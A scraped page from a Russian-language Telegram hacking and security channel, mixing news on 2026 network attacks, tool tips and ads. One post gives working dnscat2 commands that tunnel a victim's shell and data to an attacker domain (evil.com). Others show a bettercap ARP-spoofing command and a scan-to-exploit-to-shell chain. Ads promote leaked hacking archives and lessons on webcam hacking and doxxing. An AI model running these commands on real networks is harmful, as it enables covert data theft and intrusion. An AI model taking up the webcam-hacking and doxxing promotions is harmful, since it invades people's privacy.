CyberGuard
کانال بسته
Полезные инструменты, репозитории статьи и новости из мира ИБ и Хакинга Ссылка для друга: https://t.me/+ToMfaM5mK4w0NzBi По рекламе: @ReivuManager
نمایش بیشتر
شبکه:4 700
مشترکین
-124 ساعت
-207 روز
-7330 روز
در حال بارگیری داده...
کانالهای مشابه
ابر برچسبها
اشارات ورودی و خروجی
---
---
---
---
---
---
جذب مشترکین
ژوئیه '26
ژوئیه '26
+120
در 17 کانالها
ژوئن '26
+61
در 8 کانالها
Get PRO
مه '26
+89
در 26 کانالها
Get PRO
آوریل '26
+276
در 40 کانالها
Get PRO
مارس '26
+222
در 84 کانالها
Get PRO
فوریه '26
+22
در 6 کانالها
Get PRO
ژانویه '26
+82
در 12 کانالها
Get PRO
دسامبر '25
+97
در 44 کانالها
Get PRO
نوامبر '25
+325
در 82 کانالها
Get PRO
اکتبر '25
+26
در 15 کانالها
Get PRO
سپتامبر '25
+19
در 0 کانالها
Get PRO
اوت '25
+1 481
در 60 کانالها
Get PRO
ژوئیه '25
+67
در 26 کانالها
Get PRO
ژوئن '25
+148
در 21 کانالها
Get PRO
مه '25
+9
در 1 کانالها
Get PRO
آوریل '25
+412
در 21 کانالها
Get PRO
مارس '25
+326
در 23 کانالها
Get PRO
فوریه '25
+130
در 4 کانالها
Get PRO
ژانویه '25
+125
در 2 کانالها
Get PRO
دسامبر '24
+140
در 3 کانالها
Get PRO
نوامبر '24
+340
در 4 کانالها
Get PRO
اکتبر '24
+244
در 5 کانالها
Get PRO
سپتامبر '24
+111
در 1 کانالها
Get PRO
اوت '24
+116
در 2 کانالها
Get PRO
ژوئیه '24
+222
در 8 کانالها
Get PRO
ژوئن '24
+161
در 2 کانالها
Get PRO
مه '24
+223
در 2 کانالها
Get PRO
آوریل '24
+203
در 1 کانالها
Get PRO
مارس '24
+210
در 3 کانالها
Get PRO
فوریه '24
+256
در 2 کانالها
Get PRO
ژانویه '24
+210
در 2 کانالها
Get PRO
دسامبر '23
+162
در 2 کانالها
Get PRO
نوامبر '23
+71
در 1 کانالها
Get PRO
اکتبر '23
+125
در 1 کانالها
Get PRO
سپتامبر '23
+90
در 0 کانالها
Get PRO
اوت '23
+53
در 0 کانالها
Get PRO
ژوئیه '23
+92
در 0 کانالها
Get PRO
ژوئن '23
+107
در 0 کانالها
Get PRO
مه '23
+76
در 0 کانالها
Get PRO
آوریل '23
+58
در 0 کانالها
Get PRO
مارس '23
+75
در 0 کانالها
Get PRO
فوریه '23
+36
در 0 کانالها
Get PRO
ژانویه '23
+249
در 0 کانالها
| تاریخ | رشد مشترکین | اشارات | کانالها | |
| 30 ژوئیه | +98 | |||
| 29 ژوئیه | +2 | |||
| 28 ژوئیه | 0 | |||
| 27 ژوئیه | 0 | |||
| 26 ژوئیه | 0 | |||
| 25 ژوئیه | +1 | |||
| 24 ژوئیه | 0 | |||
| 23 ژوئیه | +1 | |||
| 22 ژوئیه | 0 | |||
| 21 ژوئیه | 0 | |||
| 20 ژوئیه | +1 | |||
| 19 ژوئیه | 0 | |||
| 18 ژوئیه | 0 | |||
| 17 ژوئیه | +11 | |||
| 16 ژوئیه | 0 | |||
| 15 ژوئیه | 0 | |||
| 14 ژوئیه | 0 | |||
| 13 ژوئیه | 0 | |||
| 12 ژوئیه | 0 | |||
| 11 ژوئیه | 0 | |||
| 10 ژوئیه | 0 | |||
| 09 ژوئیه | 0 | |||
| 08 ژوئیه | 0 | |||
| 07 ژوئیه | 0 | |||
| 06 ژوئیه | 0 | |||
| 05 ژوئیه | +5 | |||
| 04 ژوئیه | 0 | |||
| 03 ژوئیه | 0 | |||
| 02 ژوئیه | +1 | |||
| 01 ژوئیه | 0 |
پستهای کانال
| 2 |  💻 ShodanX — Продвинутый инструмент для взаимодействия с API Shodan и проведения OSINT
ShodanX — это мощная утилита командной строки, разработанная для эффективного поиска и сбора информации об устройствах, подключенных к сети Интернет, через платформу Shodan.
ShodanX упрощает работу с фильтрами Shodan, поддерживает экспорт результатов и помогает быстро обнаруживать потенциальные точки входа или утечки данных в глобальной сети.
🐱 Ссылка на GitHub
CyberGuardе |Вакансии | Чат ||#Репозитории | 308 |
| 3 | 💻 Network Hacking — как взламывают сети в 2026 году
Приветствую наших читателей! 👋
Думаешь, сетевой взлом — это про подбор пароля к WiFi? Ха-ха, нет. Сегодня хакеры перехватывают трафик через DNS-подмену на роутерах, обходят клиентскую изоляцию в корпоративных сетях и превращают твой фаервол в шпионский прослушиватель. В первом квартале 2026 года эксплуатация уязвимостей обогнала социальную инженерию как главный вектор первоначального доступа — 38% всех атак начинаются с взлома сети. А более 50% эксплуатируемых уязвимостей — zero-click, не требующие никакого взаимодействия с пользователем. Разбираем, как это работает и что реально угрожает твоей инфраструктуре. Погнали! ⚡️
🔍 Что такое Network Hacking?
Network Hacking — это атаки на сетевую инфраструктуру: маршрутизаторы, коммутаторы, DNS-серверы, протоколы передачи данных, Wi-Fi сети. Цель — перехватить трафик, подменить данные, получить доступ к устройствам в сети или использовать их как плацдарм для дальнейших атак.
💀 Главные векторы атак в 2026 году
1. DNS-спуфинг через взлом роутеров — FrostArmada
В 2026 году APT28 (она же Forest Blizzard, связанная с российской военной разведкой) провела глобальную DNS-атаку FrostArmada. Хакеры скомпрометировали более 18 000 роутеров MikroTik и TP-Link по всему миру, изменили их DNS-настройки и перенаправляли жертв на поддельные сайты для кражи учётных данных.
Как работает атака:
1. Хакер получает удалённый административный доступ к SOHO-роутеру (через стандартные пароли или старые уязвимости).
2. Меняет DNS-настройки на контролируемые злоумышленником.
3. Когда жертва вводит legit-site.com, роутер отправляет её на фейковый сайт хакера.
4. Хакер перехватывает пароли, OAuth-токены и другую учётную информацию.
5. Всё это происходит без какого-либо взаимодействия с пользователем — zero-click.
Атака затронула 200 организаций и 5 000 потребительских устройств по всему миру, включая правительственные учреждения, министерства иностранных дел и правоохранительные органы. Операция была настолько масштабной, что FBI и Министерство юстиции США провели совместную операцию по отключению инфраструктуры.
2. AirSnitch — новая Wi-Fi атака, которая обходит клиентскую изоляцию
В феврале 2026 года исследователи из Калифорнийского университета и KU Leuven представили AirSnitch на конференции NDSS Symposium 2026. Это набор техник, позволяющих обойти клиентскую изоляцию — функцию, которая должна предотвращать связь между устройствами в одной Wi-Fi сети.
Что это даёт хакеру:
🔴 Перехват трафика между устройствами в корпоративной гостевой сети.
🔴 Внедрение вредоносных пакетов в соединения других пользователей.
🔴 Полноценная MITM-атака даже при включённой изоляции клиентов.
🔴 Кража cookies, сессий, учётных данных.
Атака затрагивает оборудование Cisco, Netgear, D-Link, Ubiquiti, Arista, Extreme Networks и других вендоров. Уязвимость кроется в том, как реализовано шифрование Wi-Fi и коммутация пакетов на уровне AP — проблема на уровне протокола, а не конкретного производителя.
3. FortiBleed — 75 000 фаерволов с взломанными паролями
В июне 2026 года началась операция FortiBleed. Хакеры скомпрометировали 430 000 FortiGate-фаерволов по всему миру с помощью снифферов и брутфорс-пайплайнов. В результате украдено более 110 млн учётных данных, включая 14.8 млн RADIUS-учёток, 924 000 NTLM-хешей, 130 000 Kerberos-хешей и 89 млн токенов MySQL.
Пять стадий атаки:
1. Разведка — массовое сканирование через Masscan и Shodan для поиска интернет-фаерволов.
2. Доступ — брутфорс админских и SSL VPN-аккаунтов через credential stuffing.
3. Сниффер — развёртывание FortigateSniffer (на Go), который пассивно перехватывает авторизационный трафик по 24 протоколам.
4. Взлом хешей — 45-GPU кластер с Hashmat и Hashtopolis для офлайн-взлома.
5. Латеральное перемещение — украденные учётные данные используются для доступа к Active Directory и внутренним системам.
Ключевой момент: у FortiBleed нет CVE и нет патча. Проблема в том, что администраторы оставляют управляющие интерфейсы открытыми в интернет, а старая система хеширования SHA-256 оставляет пароли уязвимыми для офлайн-взлома.
4. ARP-спуфинг и MITM — классика, которая не стареет
ARP (Address Resolution Protocol) превращает IP-адреса в MAC-адреса. Хакер подменяет ARP-таблицы устройств в локальной сети, заставляя их отправлять трафик через свой компьютер.
Как работает:
1. Хакер отправляет поддельные ARP-ответы: «Я — шлюз, отправляй всё мне».
2. Все устройства в сети начинают слать трафик хакеру.
3. Хакер перехватывает логины, пароли, куки, а потом перенаправляет трафик на реальный шлюз.
Инструмент: BetterCAP — универсальный MITM-фреймворк.
sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on; net.sniff on"
🛠 Инструменты сетевого пентестера
BetterCAP — «швейцарский нож» для 802.11, BLE, IPv4 и IPv6:
🟢 Сканирование Wi-Fi сетей.
🟢 Деаутентификация клиентов.
🟢 Захват handshake для WPA/WPA2/WPA3.
🟢 ARP-спуфинг и MITM-атаки.
Aircrack-ng — классический набор для взлома Wi-Fi, включая PMKID-атаку без клиентов.
hping3 — генерация пакетов для тестирования сетей.
🗣 Реальный кейс: как взломали корпоративный Wi-Fi за 11 минут
На Red Team проекте для сети ритейлера точка входа нашлась через корпоративный Wi-Fi с WPA2-PSK. Пароль — название компании с годом и восклицательным знаком — лёг в Hashcat за 11 минут на одной RTX 4090. Три этажа офиса, двести сотрудников, сегментация VLAN — и всё это стало доступно с парковки через направленную антенну.
Беспроводной вектор по-прежнему один из самых недооценённых путей initial access: заказчики вкладываются в WAF, EDR, SIEM, а Wi-Fi с паролем Company2024! раздаёт доступ во внутреннюю сеть любому, кто приедет с ноутбуком.
🛡 Как защититься
1. Меняй пароли на роутерах — стандартные пароли — главная причина взлома FrostArmada.
2. Обновляй прошивки — большинство атак идут через старые уязвимости.
3. Не выставляй управляющие интерфейсы в интернет — причина FortiBleed.
4. Включай WPA3 или Protected Management Frames (PMF) в WPA2.
5. Используй DNSSEC — защита от подмены DNS.
6. Включай защиту от ARP-спуфинга (ARP Inspection на Cisco).
7. Используй VPN для шифрования трафика в публичных и корпоративных сетях.
8. Внедряй сегментацию сети — изолируй гостевой трафик от внутреннего.
CyberGuardе| Вакансии | Чат || #Статья | 287 |
| 4 |  АЙТИШНИКИ, ХВАТИТ сливать время на прилизанные новости и бесполезные курсы
Проект «ИИнтеллигенция» стал главным каналом для тех, кто использует нейросети на уровне разработки, автоматизации и опенсорса, а не просто балуется в чатах. Здесь собирают только то, что реально экономит человеко-часы и работает в проде.
🎓 Готовые ИИ-сервисы, промпты и ИИ-агенты для автоматизации рутины
🖋 Разборы полезных ИИ-инструментов, локальных LLM и опенсорс-репозиториев
🛠 Практические кейсы, гайды по деплою моделей и интеграции ИИ в пайплайны
⚡️ Технические ИТ-новости без маркетинговой воды и душных отчетов
Обучение и прокачка в реальном времени: работа с API (Claude, GPT), локалки (Ollama, vLLM), автоматизация кода, опенсорс-утилиты, AI-агенты и др.
Ценишь время и работаешь с ИИ, подпишись: @clucai | 287 |
| 5 | 💻 Check Point VPN — хакеры ломают корпоративные сети через дыру в IKEv1
Июнь 2026. Десятки организаций по всему миру уже скомпрометированы. Хакеры проходят сквозь VPN без пароля — логическая ошибка в устаревшем протоколе IKEv1 открывает им двери. А за ними — вымогатели Qilin с шифровальщиком. Разбираем, как это работает, кто под ударом и что делать прямо сейчас.
🎯 Что произошло:
Компания Check Point — производитель одних из самых популярных VPN-шлюзов в корпоративном секторе. 8 июня 2026 года они выпустили экстренное предупреждение: CVE-2026-50751 — уязвимость нулевого дня в Remote Access VPN и Mobile Access. Она уже активно эксплуатируется хакерами.
Суть бага: аутентификация обходится через логическую уязвимость в IKEv1. Атакующий может установить VPN-соединение без пароля и войти в корпоративную сеть как легитимный пользователь. Никаких учётных данных не нужно.
И это не теория. Первые атаки зафиксированы ещё в начале мая 2026, но Check Point заметили подозрительную активность только 4 июня. К этому моменту хакеры уже вовсю штурмовали инфраструктуру.
⚠️ Кого это коснулось и как атакуют:
Сейчас под ударом несколько десятков организаций по всему миру. Check Point подтвердили, что в одном из случаев за взломом стоял аффилиат вымогателей Qilin. Сценарий выглядит так:
1. Хакер находит уязвимый VPN-шлюз Check Point с включённым IKEv1.
2. Эксплуатирует CVE-2026-50751 — получает доступ в сеть без пароля.
3. Скачивает и запускает Linux-версию шифровальщика Qilin.
4. Данные шифруются, компания ложится, выкуп требует — классика.
При этом Check Point также обнаружили CVE-2026-50752 (CVSS 7.4) в том же IKEv1-коде — уязвимость для MITM-атак против site-to-site VPN-туннелей.
💀 Почему это катастрофа:
🔴 Без пароля — в сеть. Уязвимость позволяет зайти в корпоративный периметр без взлома учёток. Это не фишинг, не подбор пароля — это проход без единого запроса учётных данных.
🔴 Устаревший протокол убивает. IKEv1 — старая технология, которую уже давно пора выключить. Но многие компании тянут с миграцией на IKEv2 из-за совместимости со старым оборудованием.
🔴 Разведка перед ударом. Check Point также заметили, что хакеры тестируют этот же вектор против Palo Alto, Fortinet и F5. Это не атака на один продукт — это сканирование всех популярных VPN-решений.
CyberGuardе | Вакансии | Чат || #Новости | 341 |
| 6 |  🐱 GitHub — это тысячи новых репозиториев каждый день.
Но сколько из них реально стоят внимания?
Нашёл канал, где уже отбирают самое интересное:
🟢AI и нейросети
🟢self-hosted
🟢полезные утилиты
🟢инструменты для разработки
🟢автоматизация и многое другое
Короткое описание, ссылка на репозиторий, ничего лишнего.
➡️ @GitHubRadar | 305 |
| 7 |  🤦♂️ Информационная безопасность
В пособии рассмотрена система управления кибербезопасностью в современной цифровой организации. Дан краткий анализ моделей и политики безопасности, связанных с защитой информации в информационных (автоматизированных) системах. В учебно-методическом пособии определены как теоретические, так и практические основы классификации и оценки угрозы информационной безопасности; классификации и оценки угроз безопасности информации для объекта информатизации; формирования моделей угроз безопасности компьютерных систем. Особое внимание уделено действующей законодательной базе в области обеспечения защиты информации; анализу событий, связанных с защитой информации в информационных (автоматизированных) системах; использованию криптографических методов и средств защиты информации в автоматизированных системах. Практическая реализация систем безопасности рассмотрена на практике Сбербанка.
CyberGuardе| Вакансии | Чат || #Книги | 361 |
| 8 |  🔠 Слили 4 ТБ по IT, хакингу и разработке.
⚪️ Все лучшие инструкции, гайды, книги и инструменты — без воды.
🖥 Курсы & GitHub — 579GB
☁️ Хакинг & ИБ — 756GB
🤒 OSINT — 315GB
⌨️ Python — 955GB
🙃 Linux & Bash — 459GB
😦 Работа в IT — 278GB
🖥 Общий архив — 946GB
➡️ Присоединяйтесь и скачивайте.
Пост будет удален через 48 часов. | 295 |
| 9 | 🌐 DNS-туннелирование — тихая эксфильтрация через порт, который всегда открыт
Приветствую наших читателей! 👋
Думаешь, если заблокировал HTTP, SSH и даже ICMP — ты в безопасности? Ха-ха, нет. Пока ты ставишь файрволы, хакеры уходят через порт 53. Тот самый, через который твой компьютер ищет сайты в интернете. DNS-туннелирование позволяет передавать данные, команды и даже целые reverse shell через то, что считается «священной коровой» любой сети. Разбираем, как это работает и почему твой DNS-сервер может быть шпионским каналом
🔍 Что такое DNS-туннелирование?
DNS-туннелирование — это техника, при которой данные других протоколов упаковываются в DNS-запросы и ответы. Вместо того чтобы стучаться в закрытые порты, вредоносный код маскируется под легитимные DNS-запросы, которые почти всегда пропускаются через файрволы.
Почему это работает:
🟢 DNS-трафик — один из немногих, кому доверяют по умолчанию.
🟢 Порт 53 редко блокируют, иначе интернет перестанет работать.
🟢 DNS-запросы выглядят как обычный трафик — их сложно отличить от легальных.
Хакер регистрирует домен (например, evil.com), настраивает его NS-записи на свой сервер и устанавливает туннельное ПО. Заражённая машина начинает слать DNS-запросы на этот домен, в поддоменах которых закодированы команды или украденные данные.
💀 Главные инструменты — dnscat2 и iodine
🔴dnscat2 — написан на Ruby, поддерживает шифрование и создаёт полноценный интерактивный туннель через DNS. Отлично подходит для C2, работы с reverse shell и скрытого управления.
🔴iodine — написан на C, позволяет поднять полноценный IP-over-DNS туннель. Лучше подходит для передачи больших объёмов данных, но немного шумнее dnscat2.
dns2tcp — простой и лёгкий вариант для базового туннелирования.
🛠 Как это выглядит на практике (dnscat2)
Шаг 1. Серверная часть (машина хакера):
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo ruby dnscat2.rb tunnel.evil.com --secret=пароль
Сервер начинает слушать DNS-запросы на домен tunnel.evil.com.
Шаг 2. Клиентская часть (заражённая машина жертвы):
cd dnscat2/client/
make
./dnscat --dns server=tunnel.evil.com --secret=пароль
Клиент подключается к серверу через DNS-запросы и создаёт зашифрованный канал.
После установки соединения хакер получает доступ к командной строке жертвы через DNS-запросы. Можно выполнять команды, загружать и выгружать файлы, запускать скрипты — всё через порт 53.
Требования к домену: нужно настроить NS-запись, чтобы поддомен tunnel.evil.com указывал на сервер хакера.
🧬 Итог
DNS-туннелирование — идеальный скрытый канал. Он не оставляет следов в стандартных логах, обходит файрволы и работает там, где всё остальное заблокировано.
CyberGuardе| Вакансии | Чат || #Статья | 394 |
| 10 | 💡 Лайфхак пентестера: ищем эксплойты за секунды без интернета
Приветствую наших читателей! 👋
Нашёл на целевом сервере Apache 2.4.49 или старый Tomcat? Не сиди в браузере, гугля «эксплойт для версии X». В Kali есть searchsploit — локальная база эксплойтов из Exploit-DB, которая работает без интернета. Погнали! ⚡️
🛠 Как это работает:
searchsploit apache 2.4.49
Выдаст список всех эксплойтов для этой версии: название, путь к файлу, тип уязвимости.
Пример вывода:
Apache 2.4.49 - Path Traversal (CVE-2021-41773) | linux/remote/50383.py
Apache 2.4.49 - Remote Code Execution (CVE-2021-42013) | linux/remote/50406.py
🔍 Полезные флаги:
Искать по CVE:
searchsploit apache 2.4.49 --cve
Покажет только те, у которых есть CVE-номер.
Вывести ссылки на Exploit-DB:
searchsploit apache 2.4.49 -w
Удобно, если нужна дополнительная информация.
Копировать эксплойт в текущую папку:
searchsploit -m 50383
Скопирует файл /usr/share/exploitdb/exploits/linux/remote/50383.py в текущую директорию.
Обновить базу:
searchsploit -u
Актуально, если есть интернет.
🗣 Почему это удобно:
🟢 Работает офлайн — не нужно лезть в браузер, особенно если целевая сеть изолирована.
🟢 Скорость — поиск занимает миллисекунды.
🟢 Всё в одном месте — не надо гуглить и проверять, рабочий ли эксплойт.
🧬 Совет от практика:
После nmap-сканирования и определения версий сервисов всегда прогоняй их через searchsploit. Это занимает 30 секунд и может дать готовый вектор для атаки. Особенно полезно для старых версий, у которых уже есть публичные эксплойты.
Пример цепочки:
1. nmap -sV 192.168.1.100 → видим Apache 2.4.49
2. searchsploit apache 2.4.49 → находим RCE
3. searchsploit -m 50406 → копируем эксплойт
4. Запускаем и получаем шелл
CyberGuardе| Вакансии | Чат || #Лайфхак | 433 |
| 11 |  Самый прогерский канал, где за 10 минут ты научишься:
/ Пр0бuв по фото и номеру в ТГ
// Как взломать вебку подруги
/// Мануал по OSINT разведке
Ссылка действительна
23 ч. 59 мин. 👇
https://t.me/+3xWtEj_0qa9hNmUy | 239 |
| 12 |  📖 Основы безопасности веб-приложений: краткий «курс» по выявлению уязвимостей
Как выглядит веб-приложение с точки зрения злоумышленника, как проводить Osint, как выбирать вектор атаки и выявлять слабые места?
Чтобы ответить на этот вопрос, сегодня мы возьмем заведомо уязвимое приложение и
на его примере разберемся, как искать точки входа, какие инструменты использовать для
разведки и атаки, какие уязвимости можно повстречать и как их обнаружить в исходном
коде.
CyberGuardе | Вакансии | Чат || #Книги | 511 |
| 13 | 💻 Network Hacking — как взламывают сети в 2026 году
Приветствую наших читателей! 👋
Думаешь, сетевой взлом — это про подбор пароля к WiFi? Ха-ха, нет. Сегодня хакеры перехватывают трафик через DNS-подмену на роутерах, обходят клиентскую изоляцию в корпоративных сетях и превращают твой фаервол в шпионский прослушиватель. В первом квартале 2026 года эксплуатация уязвимостей обогнала социальную инженерию как главный вектор первоначального доступа — 38% всех атак начинаются с взлома сети. А более 50% эксплуатируемых уязвимостей — zero-click, не требующие никакого взаимодействия с пользователем. Разбираем, как это работает и что реально угрожает твоей инфраструктуре. Погнали! ⚡️
🔍 Что такое Network Hacking?
Network Hacking — это атаки на сетевую инфраструктуру: маршрутизаторы, коммутаторы, DNS-серверы, протоколы передачи данных, Wi-Fi сети. Цель — перехватить трафик, подменить данные, получить доступ к устройствам в сети или использовать их как плацдарм для дальнейших атак.
💀 Главные векторы атак в 2026 году
1. DNS-спуфинг через взлом роутеров — FrostArmada
В 2026 году APT28 (она же Forest Blizzard, связанная с российской военной разведкой) провела глобальную DNS-атаку FrostArmada. Хакеры скомпрометировали более 18 000 роутеров MikroTik и TP-Link по всему миру, изменили их DNS-настройки и перенаправляли жертв на поддельные сайты для кражи учётных данных.
Как работает атака:
1. Хакер получает удалённый административный доступ к SOHO-роутеру (через стандартные пароли или старые уязвимости).
2. Меняет DNS-настройки на контролируемые злоумышленником.
3. Когда жертва вводит legit-site.com, роутер отправляет её на фейковый сайт хакера.
4. Хакер перехватывает пароли, OAuth-токены и другую учётную информацию.
5. Всё это происходит без какого-либо взаимодействия с пользователем — zero-click.
Атака затронула 200 организаций и 5 000 потребительских устройств по всему миру, включая правительственные учреждения, министерства иностранных дел и правоохранительные органы. Операция была настолько масштабной, что FBI и Министерство юстиции США провели совместную операцию по отключению инфраструктуры.
2. AirSnitch — новая Wi-Fi атака, которая обходит клиентскую изоляцию
В феврале 2026 года исследователи из Калифорнийского университета и KU Leuven представили AirSnitch на конференции NDSS Symposium 2026. Это набор техник, позволяющих обойти клиентскую изоляцию — функцию, которая должна предотвращать связь между устройствами в одной Wi-Fi сети.
Что это даёт хакеру:
🔴 Перехват трафика между устройствами в корпоративной гостевой сети.
🔴 Внедрение вредоносных пакетов в соединения других пользователей.
🔴 Полноценная MITM-атака даже при включённой изоляции клиентов.
🔴 Кража cookies, сессий, учётных данных.
Атака затрагивает оборудование Cisco, Netgear, D-Link, Ubiquiti, Arista, Extreme Networks и других вендоров. Уязвимость кроется в том, как реализовано шифрование Wi-Fi и коммутация пакетов на уровне AP — проблема на уровне протокола, а не конкретного производителя.
3. FortiBleed — 75 000 фаерволов с взломанными паролями
В июне 2026 года началась операция FortiBleed. Хакеры скомпрометировали 430 000 FortiGate-фаерволов по всему миру с помощью снифферов и брутфорс-пайплайнов. В результате украдено более 110 млн учётных данных, включая 14.8 млн RADIUS-учёток, 924 000 NTLM-хешей, 130 000 Kerberos-хешей и 89 млн токенов MySQL.
Пять стадий атаки:
1. Разведка — массовое сканирование через Masscan и Shodan для поиска интернет-фаерволов.
2. Доступ — брутфорс админских и SSL VPN-аккаунтов через credential stuffing.
3. Сниффер — развёртывание FortigateSniffer (на Go), который пассивно перехватывает авторизационный трафик по 24 протоколам.
4. Взлом хешей — 45-GPU кластер с Hashmat и Hashtopolis для офлайн-взлома.
5. Латеральное перемещение — украденные учётные данные используются для доступа к Active Directory и внутренним системам.
Ключевой момент: у FortiBleed нет CVE и нет патча. Проблема в том, что администраторы оставляют управляющие интерфейсы открытыми в интернет, а старая система хеширования SHA-256 оставляет пароли уязвимыми для офлайн-взлома.
4. ARP-спуфинг и MITM — классика, которая не стареет
ARP (Address Resolution Protocol) превращает IP-адреса в MAC-адреса. Хакер подменяет ARP-таблицы устройств в локальной сети, заставляя их отправлять трафик через свой компьютер.
Как работает:
1. Хакер отправляет поддельные ARP-ответы: «Я — шлюз, отправляй всё мне».
2. Все устройства в сети начинают слать трафик хакеру.
3. Хакер перехватывает логины, пароли, куки, а потом перенаправляет трафик на реальный шлюз.
Инструмент: BetterCAP — универсальный MITM-фреймворк.
sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on; net.sniff on"
🛠 Инструменты сетевого пентестера
BetterCAP — «швейцарский нож» для 802.11, BLE, IPv4 и IPv6:
🟢 Сканирование Wi-Fi сетей.
🟢 Деаутентификация клиентов.
🟢 Захват handshake для WPA/WPA2/WPA3.
🟢 ARP-спуфинг и MITM-атаки.
Aircrack-ng — классический набор для взлома Wi-Fi, включая PMKID-атаку без клиентов.
hping3 — генерация пакетов для тестирования сетей.
🗣 Реальный кейс: как взломали корпоративный Wi-Fi за 11 минут
На Red Team проекте для сети ритейлера точка входа нашлась через корпоративный Wi-Fi с WPA2-PSK. Пароль — название компании с годом и восклицательным знаком — лёг в Hashcat за 11 минут на одной RTX 4090. Три этажа офиса, двести сотрудников, сегментация VLAN — и всё это стало доступно с парковки через направленную антенну.
Беспроводной вектор по-прежнему один из самых недооценённых путей initial access: заказчики вкладываются в WAF, EDR, SIEM, а Wi-Fi с паролем Company2024! раздаёт доступ во внутреннюю сеть любому, кто приедет с ноутбуком.
🛡 Как защититься
1. Меняй пароли на роутерах — стандартные пароли — главная причина взлома FrostArmada.
2. Обновляй прошивки — большинство атак идут через старые уязвимости.
3. Не выставляй управляющие интерфейсы в интернет — причина FortiBleed.
4. Включай WPA3 или Protected Management Frames (PMF) в WPA2.
5. Используй DNSSEC — защита от подмены DNS.
6. Включай защиту от ARP-спуфинга (ARP Inspection на Cisco).
7. Используй VPN для шифрования трафика в публичных и корпоративных сетях.
8. Внедряй сегментацию сети — изолируй гостевой трафик от внутреннего.
CyberGuardе | Вакансии | Чат || #Статья | 556 |
| 14 | Самый прогерский канал, где за 10 минут ты научишься:
/ Пр0бuв по фото и номеру в ТГ
// Как взломать вебку подруги
/// Мануал по OSINT разведке
Ссылка действительна
23 ч. 59 мин. 👇
https://t.me/+21aDomQkVOMxMjU6 | 250 |
| 15 | 📱 Твой телефон — шпион в кармане, который никогда не спит
Приветствую наших читателей! 👋
Думаешь, смартфон — твой личный помощник? Ха-ха, нет. Это маленький радиокомбайн, который разговаривает с вышками, Wi-Fi-точками, Bluetooth, спутниками, приложениями и рекламными сетями. Он знает, где ты спишь, что покупаешь и куда ездишь по выходным. И он не молчит. Погнали! ⚡️
🔍 Что такое цифровая слежка на самом деле?
Смартфон давно перестал быть просто телефоном. Это датчик, который помогает внешнему миру понять:
🔴 Где ты находишься с точностью до метров.
🔴 Как двигаешься — пешком, на машине или в метро.
🔴 Где ночуешь и с кем.
🔴 Куда ездишь по выходным и в отпуск.
🔴 Какие места считаешь обычными, а какие — нет.
И всё это — без единого звонка. Ты просто носишь его в кармане.
👁 Кто и как за тобой следит (полный список):
1. Твой мобильный оператор — видит все вышки, к которым подключается телефон. Даже без GPS он знает твоё местоположение с точностью до района. Хранит данные о звонках, SMS и интернет-сессиях годами.
2. Производитель смартфона — Google (Android) и Apple (iOS) собирают телеметрию: геолокацию, историю приложений, поисковые запросы, голосовые команды. Всё это уходит на их серверы.
3. Установленные приложения — запрашивают доступ к геолокации, микрофону, камере, контактам, файлам. Ты сам даёшь им разрешение, часто не читая, на что именно. Даже фонарик просит доступ к контактам — зачем?
4. Рекламные сети и трекеры — собирают данные с разных приложений и сайтов, рисуя твой психологический портрет: возраст, пол, интересы, доход, семейное положение, политические взгляды.
5. Wi-Fi и Bluetooth-сети — сканируют окружающие устройства и точки доступа, создавая карту твоих перемещений. Магазины отслеживают, сколько времени ты провёл у витрины.
6. Государственные органы и спецслужбы — могут запросить данные у операторов, производителей и владельцев приложений. В России действует пакет Яровой, обязывающий хранить переписки и звонки до 6 месяцев, а метаданные — до 3 лет.
7. Злоумышленники и хакеры — используют уязвимости в ОС и приложениях, чтобы установить шпионское ПО без твоего ведома.
🛠 Реальные примеры слежки (из статьи и не только):
Пример 1: Карты помещений через смартфон
Новая уязвимость позволяет создавать детальные 3D-карты помещений, используя данные сенсоров смартфона — акселерометра, гироскопа и магнитометра. Даже без GPS и без активного использования приложения.
Пример 2: WhatsApp знает больше, чем ты думаешь
Брешь в безопасности мессенджера позволяет узнать операционную систему и модель устройства собеседника. Этого достаточно для целевой атаки.
Пример 3: Бюджетные смартфоны — шпионы по умолчанию
Анализ предустановленных приложений на бюджетных устройствах Infinix, Tecno и itel выявил слабость защиты компонентов с доступом к IMSI, IMEI и местоположению. Данные уходят на сторонние серверы без ведома пользователя.
Пример 4: Сотовые сети — инструмент международной слежки
С ноября 2022 по 2025 год зафиксировано более 500 попыток отслеживания местоположения пользователей через уязвимости в телеком-инфраструктуре. Атаки зафиксированы в Таиланде, Южной Африке, Норвегии, Малайзии и других странах.
Пример 5: Pegasus — шпионское ПО без клика
Легендарный Pegasus от NSO Group заражает телефон без единого действия пользователя. Достаточно просто получить сообщение в iMessage или WhatsApp — и весь телефон под контролем.
🔐 Как понять, что за тобой следят (признаки):
🔴 Телефон греется без причины — даже в режиме ожидания. Это может означать, что микрофон или камера работают в фоне.
🔴 Батарея садится слишком быстро — шпионское ПО потребляет ресурсы.
🔴 Трафик подскочил без видимой причины — данные уходят на сторонний сервер.
🔴 Камера или микрофон включаются сами — если индикатор загорается без твоего ведома.
🔴 Телефон тормозит и зависает — вредоносное ПО нагружает процессор.
🔴 Странные SMS или всплывающие окна — возможна удалённая команда.
🔴 Неизвестные приложения в списке — кто-то установил их без твоего ведома.
🛡 Что делать:
1. Проверь разрешения приложений. Зайди в настройки → Приложения → Разрешения. Удали доступ к геолокации, микрофону и камере у всех приложений, где он не нужен.
2. Отключай Wi-Fi и Bluetooth, когда не используешь. Это снижает количество точек сбора данных.
3. Проверяй установленные приложения. Если видишь незнакомое — удаляй.
4. Используй VPN, чтобы скрыть трафик от провайдера.
5. Проверяй утечки на haveibeenpwned.com — узнай, не слиты ли твои данные.
6. Периодически перезагружай телефон. Это очищает память и может прервать работу вредоносных процессов.
7. Обновляй ОС и приложения — патчи закрывают известные уязвимости.
8. Не переходи по подозрительным ссылкам — даже если пришли от знакомых.
9. Используй специальные коды для проверки — *#21# показывает, настроена ли переадресация вызовов.
10. Для максимальной защиты: используй Tails OS или GrapheneOS — но это уже для параноиков.
🔥 Если тема зашла — газуй реакциями! 🔥
CyberGuardе | Вакансии | Чат ||#Статья | 576 |
| 16 |  Профессиональное руководство по технологиям руткитов и C2-инфраструктуре
Rootkit - это программное обеспечение (или набор программных компонентов), предназначенное для сокрытия определённых объектов или действий в системе, обеспечения устойчивого(persistent) доступа и/или противодействия обнаружению средствами защиты.
